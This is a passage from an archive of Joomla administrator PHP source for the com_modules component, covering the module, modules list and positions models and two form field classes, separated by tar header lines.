			$form = $this->loadForm('com_modules.module.admin', 'moduleadmin', array('control' => 'jform', 'load_data' => $loadData), true);

			// Display language field to filter admin custom menus per language
			if (!JModuleHelper::isAdminMultilang())
			{
				$form->setFieldAttribute('language', 'type', 'hidden');
			}
		}
		else
		{
			$form = $this->loadForm('com_modules.module', 'module', array('control' => 'jform', 'load_data' => $loadData), true);
		}

		if (empty($form))
		{
			return false;
		}

		$form->setFieldAttribute('position', 'client', $this->getState('item.client_id') == 0 ? 'site' : 'administrator');

		$user = JFactory::getUser();

		/**
		 * Check for existing module
		 * Modify the form based on Edit State access controls.
		 */
		if ($id != 0 && (!$user->authorise('core.edit.state', 'com_modules.module.' . (int) $id))
			|| ($id == 0 && !$user->authorise('core.edit.state', 'com_modules'))		)
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('published', 'disabled', 'true');
			$form->setFieldAttribute('publish_up', 'disabled', 'true');
			$form->setFieldAttribute('publish_down', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('published', 'filter', 'unset');
			$form->setFieldAttribute('publish_up', 'filter', 'unset');
			$form->setFieldAttribute('publish_down', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		$app = JFactory::getApplication();

		// Check the session for previously entered form data.
		$data = $app->getUserState('com_modules.edit.module.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Pre-select some filters (Status, Module Position, Language, Access Level) in edit form if those have been selected in Module Manager
			if (!$data->id)
			{
				$filters = (array) $app->getUserState('com_modules.modules.filter');
				$data->set('published', $app->input->getInt('published', ((isset($filters['state']) && $filters['state'] !== '') ? $filters['state'] : null)));
				$data->set('position', $app->input->getInt('position', (!empty($filters['position']) ? $filters['position'] : null)));
				$data->set('language', $app->input->getString('language', (!empty($filters['language']) ? $filters['language'] : null)));
				$data->set('access', $app->input->getInt('access', (!empty($filters['access']) ? $filters['access'] : JFactory::getConfig()->get('access'))));
			}

			// Avoid to delete params of a second module opened in a new browser tab while new one is not saved yet.
			if (empty($data->params))
			{
				// This allows us to inject parameter settings into a new module.
				$params = $app->getUserState('com_modules.add.module.params');

				if (is_array($params))
				{
					$data->set('params', $params);
				}
			}
		}

		$this->preprocessData('com_modules.module', $data);

		return $data;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		$pk = (!empty($pk)) ? (int) $pk : (int) $this->getState('module.id');
		$db = $this->getDbo();

		if (!isset($this->_cache[$pk]))
		{
			// Get a row instance.
			$table = $this->getTable();

			// Attempt to load the row.
			$return = $table->load($pk);

			// Check for a table object error.
			if ($return === false && $error = $table->getError())
			{
				$this->setError($error);

				return false;
			}

			// Check if we are creating a new extension.
			if (empty($pk))
			{
				if ($extensionId = (int) $this->getState('extension.id'))
				{
					$query = $db->getQuery(true)
						->select('element, client_id')
						->from('#__extensions')
						->where('extension_id = ' . $extensionId)
						->where('type = ' . $db->quote('module'));
					$db->setQuery($query);

					try
					{
						$extension = $db->loadObject();
					}
					catch (RuntimeException $e)
					{
						$this->setError($e->getMessage());

						return false;
					}

					if (empty($extension))
					{
						$this->setError('COM_MODULES_ERROR_CANNOT_FIND_MODULE');

						return false;
					}

					// Extension found, prime some module values.
					$table->module    = $extension->element;
					$table->client_id = $extension->client_id;
				}
				else
				{
					JFactory::getApplication()->redirect(JRoute::_('index.php?option=com_modules&view=modules', false));

					return false;
				}
			}

			// Convert to the JObject before adding other data.
			$properties        = $table->getProperties(1);
			$this->_cache[$pk] = ArrayHelper::toObject($properties, 'JObject');

			// Convert the params field to an array.
			$registry = new Registry($table->params);
			$this->_cache[$pk]->params = $registry->toArray();

			// Determine the page assignment mode.
			$query = $db->getQuery(true)
				->select($db->quoteName('menuid'))
				->from($db->quoteName('#__modules_menu'))
				->where($db->quoteName('moduleid') . ' = ' . (int) $pk);
			$db->setQuery($query);
			$assigned = $db->loadColumn();

			if (empty($pk))
			{
				// If this is a new module, assign to all pages.
				$assignment = 0;
			}
			elseif (empty($assigned))
			{
				// For an existing module it is assigned to none.
				$assignment = '-';
			}
			else
			{
				if ($assigned[0] > 0)
				{
					$assignment = 1;
				}
				elseif ($assigned[0] < 0)
				{
					$assignment = -1;
				}
				else
				{
					$assignment = 0;
				}
			}

			$this->_cache[$pk]->assigned   = $assigned;
			$this->_cache[$pk]->assignment = $assignment;

			// Get the module XML.
			$client = JApplicationHelper::getClientInfo($table->client_id);
			$path   = JPath::clean($client->path . '/modules/' . $table->module . '/' . $table->module . '.xml');

			if (file_exists($path))
			{
				$this->_cache[$pk]->xml = simplexml_load_file($path);
			}
			else
			{
				$this->_cache[$pk]->xml = null;
			}
		}

		return $this->_cache[$pk];
	}

	/**
	 * Get the necessary data to load an item help screen.
	 *
	 * @return  object  An object with key, url, and local properties for loading the item help screen.
	 *
	 * @since   1.6
	 */
	public function getHelp()
	{
		return (object) array('key' => $this->helpKey, 'url' => $this->helpURL);
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Module', $prefix = 'JTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @param   JTable  $table  The database object
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$table->title    = htmlspecialchars_decode($table->title, ENT_QUOTES);
		$table->position = trim($table->position);
	}

	/**
	 * Method to preprocess the form
	 *
	 * @param   JForm   $form   A form object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error loading the form.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		jimport('joomla.filesystem.path');

		$lang     = JFactory::getLanguage();
		$clientId = $this->getState('item.client_id');
		$module   = $this->getState('item.module');

		$client   = JApplicationHelper::getClientInfo($clientId);
		$formFile = JPath::clean($client->path . '/modules/' . $module . '/' . $module . '.xml');

		// Load the core and/or local language file(s).
		$lang->load($module, $client->path, null, false, true)
		||	$lang->load($module, $client->path . '/modules/' . $module, null, false, true);

		if (file_exists($formFile))
		{
			// Get the module form.
			if (!$form->loadFile($formFile, false, '//config'))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}

			// Attempt to load the xml file.
			if (!$xml = simplexml_load_file($formFile))
			{
				throw new Exception(JText::_('JERROR_LOADFILE_FAILED'));
			}

			// Get the help data from the XML file if present.
			$help = $xml->xpath('/extension/help');

			if (!empty($help))
			{
				$helpKey = trim((string) $help[0]['key']);
				$helpURL = trim((string) $help[0]['url']);

				$this->helpKey = $helpKey ?: $this->helpKey;
				$this->helpURL = $helpURL ?: $this->helpURL;
			}
		}

		// Load the default advanced params
		JForm::addFormPath(JPATH_ADMINISTRATOR . '/components/com_modules/models/forms');
		$form->loadFile('advanced', false);

		// Trigger the default form events.
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Loads ContentHelper for filters before validating data.
	 *
	 * @param   object  $form   The form to validate against.
	 * @param   array   $data   The data to validate.
	 * @param   string  $group  The name of the group(defaults to null).
	 *
	 * @return  mixed  Array of filtered data if valid, false otherwise.
	 *
	 * @since   1.1
	 */
	public function validate($form, $data, $group = null)
	{
		JLoader::register('ContentHelper', JPATH_ADMINISTRATOR . '/components/com_content/helpers/content.php');

		if (!JFactory::getUser()->authorise('core.admin', 'com_modules'))
		{
			if (isset($data['rules']))
			{
				unset($data['rules']);
			}
		}

		return parent::validate($form, $data, $group);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$input      = JFactory::getApplication()->input;
		$table      = $this->getTable();
		$pk         = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('module.id');
		$isNew      = true;
		$context    = $this->option . '.' . $this->name;

		// Include the plugins for the save event.
		JPluginHelper::importPlugin($this->events_map['save']);

		// Load the row if saving an existing record.
		if ($pk > 0)
		{
			$table->load($pk);
			$isNew = false;
		}

		// Alter the title and published state for Save as Copy
		if ($input->get('task') == 'save2copy')
		{
			$orig_table = clone $this->getTable();
			$orig_table->load((int) $input->getInt('id'));
			$data['published'] = 0;

			if ($data['title'] == $orig_table->title)
			{
				$data['title'] = StringHelper::increment($data['title']);
			}
		}

		// Bind the data.
		if (!$table->bind($data))
		{
			$this->setError($table->getError());

			return false;
		}

		// Prepare the row for saving
		$this->prepareTable($table);

		// Check the data.
		if (!$table->check())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the before save event.
		$result = $dispatcher->trigger($this->event_before_save, array($context, &$table, $isNew));

		if (in_array(false, $result, true))
		{
			$this->setError($table->getError());

			return false;
		}

		// Store the data.
		if (!$table->store())
		{
			$this->setError($table->getError());

			return false;
		}

		// Process the menu link mappings.
		$assignment = isset($data['assignment']) ? $data['assignment'] : 0;

		// Delete old module to menu item associations
		$db    = $this->getDbo();
		$query = $db->getQuery(true)
			->delete('#__modules_menu')
			->where('moduleid = ' . (int) $table->id);
		$db->setQuery($query);

		try
		{
			$db->execute();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// If the assignment is numeric, then something is selected (otherwise it's none).
		if (is_numeric($assignment))
		{
			// Variable is numeric, but could be a string.
			$assignment = (int) $assignment;

			// Logic check: if no module excluded then convert to display on all.
			if ($assignment == -1 && empty($data['assigned']))
			{
				$assignment = 0;
			}

			// Check needed to stop a module being assigned to `All`
			// and other menu items resulting in a module being displayed twice.
			if ($assignment === 0)
			{
				// Assign new module to `all` menu item associations.
				$query->clear()
					->insert('#__modules_menu')
					->columns(array($db->quoteName('moduleid'), $db->quoteName('menuid')))
					->values((int) $table->id . ', 0');
				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					$this->setError($e->getMessage());

					return false;
				}
			}
			elseif (!empty($data['assigned']))
			{
				// Get the sign of the number.
				$sign = $assignment < 0 ? -1 : 1;

				$query->clear()
					->insert($db->quoteName('#__modules_menu'))
					->columns($db->quoteName(array('moduleid', 'menuid')));

				foreach ($data['assigned'] as &$pk)
				{
					$query->values((int) $table->id . ',' . (int) $pk * $sign);
				}

				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					$this->setError($e->getMessage());

					return false;
				}
			}
		}

		// Trigger the after save event.
		$dispatcher->trigger($this->event_after_save, array($context, &$table, $isNew));

		// Compute the extension id of this module in case the controller wants it.
		$query->clear()
			->select($db->quoteName('extension_id'))
			->from($db->quoteName('#__extensions', 'e'))
			->join(
				'LEFT',
				$db->quoteName('#__modules', 'm') . ' ON ' . $db->quoteName('e.client_id') . ' = ' . (int) $table->client_id .
				' AND ' . $db->quoteName('e.element') . ' = ' . $db->quoteName('m.module')
			)
			->where($db->quoteName('m.id') . ' = ' . (int) $table->id);
		$db->setQuery($query);

		try
		{
			$extensionId = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			JError::raiseWarning(500, $e->getMessage());

			return false;
		}

		$this->setState('module.extension_id', $extensionId);
		$this->setState('module.id', $table->id);

		// Clear modules cache
		$this->cleanCache();

		// Clean module cache
		parent::cleanCache($table->module, $table->client_id);

		return true;
	}

	/**
	 * A protected method to get a set of ordering conditions.
	 *
	 * @param   object  $table  A record object.
	 *
	 * @return  array  An array of conditions to add to add to ordering queries.
	 *
	 * @since   1.6
	 */
	protected function getReorderConditions($table)
	{
		$condition = array();
		$condition[] = 'client_id = ' . (int) $table->client_id;
		$condition[] = 'position = ' . $this->_db->quote($table->position);

		return $condition;
	}

	/**
	 * Custom clean cache method for different clients
	 *
	 * @param   string   $group     The name of the plugin group to import (defaults to null).
	 * @param   integer  $clientId  The client ID. [optional]
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function cleanCache($group = null, $clientId = 0)
	{
		parent::cleanCache('com_modules', $this->getClient());
	}
}
com_modules/models/modules.php000060400000032241152455305310012517 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Modules Component Module Model
 *
 * @since  1.5
 */
class ModulesModelModules extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'published', 'a.published', 'state',
				'access', 'a.access',
				'ag.title', 'access_level',
				'ordering', 'a.ordering',
				'module', 'a.module',
				'language', 'a.language',
				'l.title', 'language_title',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'client_id', 'a.client_id',
				'position', 'a.position',
				'pages',
				'name', 'e.name',
				'menuitem',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.position', $direction = 'asc')
	{
		$app = JFactory::getApplication();

		$layout = $app->input->get('layout', '', 'cmd');

		// Adjust the context to support modal layouts.
		if ($layout)
		{
			$this->context .= '.' . $layout;
		}

		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.position', $this->getUserStateFromRequest($this->context . '.filter.position', 'filter_position', '', 'string'));
		$this->setState('filter.module', $this->getUserStateFromRequest($this->context . '.filter.module', 'filter_module', '', 'string'));
		$this->setState('filter.menuitem', $this->getUserStateFromRequest($this->context . '.filter.menuitem', 'filter_menuitem', '', 'cmd'));
		$this->setState('filter.access', $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access', '', 'cmd'));

		// If in modal layout on the frontend, state and language are always forced.
		if ($app->isClient('site') && $layout === 'modal')
		{
			$this->setState('filter.language', 'current');
			$this->setState('filter.state', 1);
		}
		// If in backend (modal or not) we get the same fields from the user request.
		else
		{
			$this->setState('filter.language', $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '', 'string'));
			$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'));
		}

		// Special case for the client id.
		if ($app->isClient('site') || $layout === 'modal')
		{
			$this->setState('client_id', 0);
			$clientId = 0;
		}
		else
		{
			$clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
			$clientId = (!in_array($clientId, array (0, 1))) ? 0 : $clientId;
			$this->setState('client_id', $clientId);
		}

		// Use a different filter file when client is administrator
		if ($clientId == 1)
		{
			$this->filterFormName = 'filter_modulesadmin';
		}

		// Load the parameters.
		$params = JComponentHelper::getParams('com_modules');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string    A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('client_id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . $this->getState('filter.position');
		$id .= ':' . $this->getState('filter.module');
		$id .= ':' . $this->getState('filter.menuitem');
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.language');

		return parent::getStoreId($id);
	}

	/**
	 * Returns an object list
	 *
	 * @param   string  $query       The query
	 * @param   int     $limitstart  Offset
	 * @param   int     $limit       The number of records
	 *
	 * @return  array
	 */
	protected function _getList($query, $limitstart = 0, $limit = 0)
	{
		$listOrder = $this->getState('list.ordering', 'a.position');
		$listDirn  = $this->getState('list.direction', 'asc');

		// If ordering by fields that need translate we need to sort the array of objects after translating them.
		if (in_array($listOrder, array('pages', 'name')))
		{
			// Fetch the results.
			$this->_db->setQuery($query);
			$result = $this->_db->loadObjectList();

			// Translate the results.
			$this->translate($result);

			// Sort the array of translated objects.
			$result = ArrayHelper::sortObjects($result, $listOrder, strtolower($listDirn) == 'desc' ? -1 : 1, true, true);

			// Process pagination.
			$total = count($result);
			$this->cache[$this->getStoreId('getTotal')] = $total;

			if ($total < $limitstart)
			{
				$limitstart = 0;
				$this->setState('list.start', 0);
			}

			return array_slice($result, $limitstart, $limit ?: null);
		}

		// If ordering by fields that doesn't need translate just order the query.
		if ($listOrder === 'a.ordering')
		{
			$query->order($this->_db->quoteName('a.position') . ' ASC')
				->order($this->_db->quoteName($listOrder) . ' ' . $this->_db->escape($listDirn));
		}
		elseif ($listOrder === 'a.position')
		{
			$query->order($this->_db->quoteName($listOrder) . ' ' . $this->_db->escape($listDirn))
				->order($this->_db->quoteName('a.ordering') . ' ASC');
		}
		else
		{
			$query->order($this->_db->quoteName($listOrder) . ' ' . $this->_db->escape($listDirn));
		}

		// Process pagination.
		$result = parent::_getList($query, $limitstart, $limit);

		// Translate the results.
		$this->translate($result);

		return $result;
	}

	/**
	 * Translate a list of objects
	 *
	 * @param   array  &$items  The array of objects
	 *
	 * @return  array The array of translated objects
	 */
	protected function translate(&$items)
	{
		$lang = JFactory::getLanguage();
		$clientPath = $this->getState('client_id') ? JPATH_ADMINISTRATOR : JPATH_SITE;

		foreach ($items as $item)
		{
			$extension = $item->module;
			$source = $clientPath . "/modules/$extension";
			$lang->load("$extension.sys", $clientPath, null, false, true)
				|| $lang->load("$extension.sys", $source, null, false, true);
			$item->name = JText::_($item->name);

			if (is_null($item->pages))
			{
				$item->pages = JText::_('JNONE');
			}
			elseif ($item->pages < 0)
			{
				$item->pages = JText::_('COM_MODULES_ASSIGNED_VARIES_EXCEPT');
			}
			elseif ($item->pages > 0)
			{
				$item->pages = JText::_('COM_MODULES_ASSIGNED_VARIES_ONLY');
			}
			else
			{
				$item->pages = JText::_('JALL');
			}
		}
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 */
	protected function getListQuery()
	{
		$app = JFactory::getApplication();

		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.title, a.note, a.position, a.module, a.language,' .
					'a.checked_out, a.checked_out_time, a.published AS published, e.enabled AS enabled, a.access, a.ordering, a.publish_up, a.publish_down'
			)
		);

		// From modules table.
		$query->from($db->quoteName('#__modules', 'a'));

		// Join over the language
		$query->select($db->quoteName('l.title', 'language_title'))
			->select($db->quoteName('l.image', 'language_image'))
			->join('LEFT', $db->quoteName('#__languages', 'l') . ' ON ' . $db->quoteName('l.lang_code') . ' = ' . $db->quoteName('a.language'));

		// Join over the users for the checked out user.
		$query->select($db->quoteName('uc.name', 'editor'))
			->join('LEFT', $db->quoteName('#__users', 'uc') . ' ON ' . $db->quoteName('uc.id') . ' = ' . $db->quoteName('a.checked_out'));

		// Join over the asset groups.
		$query->select($db->quoteName('ag.title', 'access_level'))
			->join('LEFT', $db->quoteName('#__viewlevels', 'ag') . ' ON ' . $db->quoteName('ag.id') . ' = ' . $db->quoteName('a.access'));

		// Join over the module menus
		$query->select('MIN(mm.menuid) AS pages')
			->join('LEFT', $db->quoteName('#__modules_menu', 'mm') . ' ON ' . $db->quoteName('mm.moduleid') . ' = ' . $db->quoteName('a.id'));

		// Join over the extensions
		$query->select($db->quoteName('e.name', 'name'))
			->join('LEFT', $db->quoteName('#__extensions', 'e') . ' ON ' . $db->quoteName('e.element') . ' = ' . $db->quoteName('a.module'));

		// Group (careful with PostgreSQL)
		$query->group(
			'a.id, a.title, a.note, a.position, a.module, a.language, a.checked_out, '
			. 'a.checked_out_time, a.published, a.access, a.ordering, l.title, l.image, uc.name, ag.title, e.name, '
			. 'l.lang_code, uc.id, ag.id, mm.moduleid, e.element, a.publish_up, a.publish_down, e.enabled'
		);

		// Filter by client.
		$clientId = $this->getState('client_id');
		$query->where($db->quoteName('a.client_id') . ' = ' . (int) $clientId . ' AND ' . $db->quoteName('e.client_id') . ' = ' . (int) $clientId);

		// Filter by current user access level.
		$user = JFactory::getUser();

		// Get the current user for authorisation checks
		if ($user->authorise('core.admin') !== true)
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where($db->quoteName('a.access') . ' = ' . (int) $access);
		}

		// Filter by published state.
		$state = $this->getState('filter.state');

		if (is_numeric($state))
		{
			$query->where($db->quoteName('a.published') . ' = ' . (int) $state);
		}
		elseif ($state === '')
		{
			$query->where($db->quoteName('a.published') . ' IN (0, 1)');
		}

		// Filter by position.
		if ($position = $this->getState('filter.position'))
		{
			$query->where($db->quoteName('a.position') . ' = ' . $db->quote(($position === 'none') ? '' : $position));
		}

		// Filter by module.
		if ($module = $this->getState('filter.module'))
		{
			$query->where($db->quoteName('a.module') . ' = ' . $db->quote($module));
		}

		// Filter by menuitem id (only for site client).
		if ((int) $clientId === 0 && $menuItemId = $this->getState('filter.menuitem'))
		{
			// If user selected the modules not assigned to any page (menu item).
			if ((int) $menuItemId === -1)
			{
				$query->having('MIN(' . $db->quoteName('mm.menuid') . ') IS NULL');
			}
			// If user selected the modules assigned to some particular page (menu item).
			else
			{
				// Modules in "All" pages.
				$subQuery1 = $db->getQuery(true);
				$subQuery1->select('MIN(' . $db->quoteName('menuid') . ')')
					->from($db->quoteName('#__modules_menu'))
					->where($db->quoteName('moduleid') . ' = ' . $db->quoteName('a.id'));

				// Modules in "Selected" pages that have the chosen menu item id.
				$subQuery2 = $db->getQuery(true);
				$subQuery2->select($db->quoteName('moduleid'))
					->from($db->quoteName('#__modules_menu'))
					->where($db->quoteName('menuid') . ' = ' . (int) $menuItemId);

				// Modules in "All except selected" pages that doesn't have the chosen menu item id.
				$subQuery3 = $db->getQuery(true);
				$subQuery3->select($db->quoteName('moduleid'))
					->from($db->quoteName('#__modules_menu'))
					->where($db->quoteName('menuid') . ' = -' . (int) $menuItemId);

				// Filter by modules assigned to the selected menu item.
				$query->where('(
					(' . $subQuery1 . ') = 0
					OR ((' . $subQuery1 . ') > 0 AND ' . $db->quoteName('a.id') . ' IN (' . $subQuery2 . '))
					OR ((' . $subQuery1 . ') < 0 AND ' . $db->quoteName('a.id') . ' NOT IN (' . $subQuery3 . '))
					)'
				);
			}
		}

		// Filter by search in title or note or id:.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where($db->quoteName('a.id') . ' = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . StringHelper::strtolower($search) . '%');
				$query->where('(LOWER(a.title) LIKE ' . $search . ' OR LOWER(a.note) LIKE ' . $search . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			if ($language === 'current')
			{
				$query->where($db->quoteName('a.language') . ' IN (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')');
			}
			else
			{
				$query->where($db->quoteName('a.language') . ' = ' . $db->quote($language));
			}
		}

		return $query;
	}
}
com_modules/models/fields/modulesposition.php000060400000001711152455305310015550 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ModulesHelper', JPATH_ADMINISTRATOR . '/components/com_modules/helpers/modules.php');

JFormHelper::loadFieldClass('list');

/**
 * Modules Position field.
 *
 * @since  3.4.2
 */
class JFormFieldModulesPosition extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.4.2
	 */
	protected $type = 'ModulesPosition';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.4.2
	 */
	public function getOptions()
	{
		$options = ModulesHelper::getPositions(JFactory::getApplication()->getUserState('com_modules.modules.client_id', 0));

		return array_merge(parent::getOptions(), $options);
	}
}
com_modules/models/fields/modulesmodule.php000060400000001701152455305310015170 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ModulesHelper', JPATH_ADMINISTRATOR . '/components/com_modules/helpers/modules.php');

JFormHelper::loadFieldClass('list');

/**
 * Modules Module field.
 *
 * @since  3.4.2
 */
class JFormFieldModulesModule extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.4.2
	 */
	protected $type = 'ModulesModule';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   3.4.2
	 */
	public function getOptions()
	{
		$options = ModulesHelper::getModules(JFactory::getApplication()->getUserState('com_modules.modules.client_id', 0));

		return array_merge(parent::getOptions(), $options);
	}
}
com_modules/models/positions.php000060400000014256152455305310013104 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_modules
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Modules Component Positions Model
 *
 * @since  1.6
 */
class ModulesModelPositions extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'value',
				'templates',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'value', $direction = 'asc')
	{
		$app = JFactory::getApplication('administrator');

		// Load the filter state.
		$search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$state = $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string');
		$this->setState('filter.state', $state);

		$template = $this->getUserStateFromRequest($this->context . '.filter.template', 'filter_template', '', 'string');
		$this->setState('filter.template', $template);

		$type = $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'string');
		$this->setState('filter.type', $type);

		// Special case for the client id.
		$clientId = (int) $this->getUserStateFromRequest($this->context . '.client_id', 'client_id', 0, 'int');
		$clientId = (!in_array((int) $clientId, array (0, 1))) ? 0 : (int) $clientId;
		$this->setState('client_id', $clientId);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_modules');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		if (!isset($this->items))
		{
			$lang            = JFactory::getLanguage();
			$search          = $this->getState('filter.search');
			$state           = $this->getState('filter.state');
			$clientId        = $this->getState('client_id');
			$filter_template = $this->getState('filter.template');
			$type            = $this->getState('filter.type');
			$ordering        = $this->getState('list.ordering');
			$direction       = $this->getState('list.direction');
			$limitstart      = $this->getState('list.start');
			$limit           = $this->getState('list.limit');
			$client          = JApplicationHelper::getClientInfo($clientId);

			if ($type != 'template')
			{
				// Get the database object and a new query object.
				$query = $this->_db->getQuery(true)
					->select('DISTINCT(position) as value')
					->from('#__modules')
					->where($this->_db->quoteName('client_id') . ' = ' . (int) $clientId);

				if ($search)
				{
					$search = $this->_db->quote('%' . str_replace(' ', '%', $this->_db->escape(trim($search), true) . '%'));
					$query->where('position LIKE ' . $search);
				}

				$this->_db->setQuery($query);

				try
				{
					$positions = $this->_db->loadObjectList('value');
				}
				catch (RuntimeException $e)
				{
					$this->setError($e->getMessage());

					return false;
				}

				foreach ($positions as $value => $position)
				{
					$positions[$value] = array();
				}
			}
			else
			{
				$positions = array();
			}

			// Load the positions from the installed templates.
			foreach (ModulesHelper::getTemplates($clientId) as $template)
			{
				$path = JPath::clean($client->path . '/templates/' . $template->element . '/templateDetails.xml');

				if (file_exists($path))
				{
					$xml = simplexml_load_file($path);

					if (isset($xml->positions[0]))
					{
						$lang->load('tpl_' . $template->element . '.sys', $client->path, null, false, true)
						|| $lang->load('tpl_' . $template->element . '.sys', $client->path . '/templates/' . $template->element, null, false, true);

